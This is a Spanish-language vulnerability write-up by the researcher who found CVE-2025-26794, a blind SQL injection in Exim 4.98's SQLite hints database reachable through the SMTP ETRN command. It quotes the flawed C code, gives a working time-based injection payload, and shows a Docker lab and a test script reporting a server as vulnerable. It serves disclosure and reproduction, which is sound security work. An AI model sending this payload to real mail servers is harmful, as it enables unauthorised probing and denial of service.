
CVE-2025-26794: Inyección SQL ciega en Exim 4.98 (SQLite DBM)- writeup del exploit
Informe de Exim: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
Descubrí esta vulnerabilidad mediante una revisión manual del código.
Los parámetros SQL, cuando se usa SQLite como DBM, no se sanean adecuadamente. Esto da como resultado la posibilidad de que un usuario remoto pueda crear consultas SQLite personalizadas.
Exim utiliza una base de datos interna para el almacenamiento interno de clave:valor (llamada HintsDB) que soporta varios backends, establecidos en tiempo de compilación. La adición más reciente fue SQLite. Se utiliza para almacenar:
enq_start()) para comandos ETRN y entrega SMTPEl archivo afectado es hintsdb.h. Se movió a un archivo separado (hints_sqlite.h) en los últimos commits. Solo las funciones de SQLite se ven afectadas (ejemplo de función: exim_s_dbp).
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
La clave de entrada no se escapa adecuadamente. Por lo tanto, si logramos controlar la clave, podremos inyectar cualquier código SQLite.
RFC1985 define el comando SMTP ETRN, "mediante el cual un cliente puede solicitar que el servidor inicie el procesamiento de sus colas de correo para los mensajes que están esperando en el servidor para la máquina cliente".
Se usa con el comando SMTP: ETRN #domain.com.
En Exim, el comando ETRN establece un semáforo en la HintsDB para evitar ejecutar múltiples comandos ETRN en paralelo.
Este semáforo se implementa mediante la función enq_start(keyname, value) que crea una nueva entrada en la base de datos "misc".
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
Por ejemplo, el comando SMTP ETRN #test.com creará una entrada temporal en la base de datos SQLite "misc" con la clave "etrn-#test.com" y el valor 1.
Al final del procesamiento del comando ETRN, la entrada de la base de datos se eliminará:
enq_end(etrn_serialize_key);
Dado que controlamos la clave, podemos inyectar nuestro propio código SQL con el siguiente comando SMTP:
ETRN #',1); ## INSERT SQL HERE ## /*
Como no hay salida, podemos enviar un payload SQLi basado en tiempo para probar esta vulnerabilidad de forma remota:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE; supongo que probablemente podríamos explotar una condición de carrera en Exim para desencadenar un comportamiento indefinido al interferir con las otras bases de datos utilizadas. Por ahora sigue siendo muy hipotético.ETRN (y bastante antiguo). No pude encontrar en ningún otro lugar del código donde la entrada del usuario se use para construir la cadena de consulta.Esto significa que podríamos fácilmente hacer DoS (por ejemplo, llenar el disco), pero escalar esto a Ejecución Remota de Código requeriría más trabajo, aunque podría ser posible.
Aquí hay un laboratorio Docker local para ayudar a reproducir esta vulnerabilidad.
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh compilará e iniciará sesión en el contenedorbash start-exim.sh para iniciar el servidor eximnc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorDesarrollé un script test.py para probar esta vulnerabilidad de forma remota.
python3 docker_lab/test.py <host>
Ejemplo:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable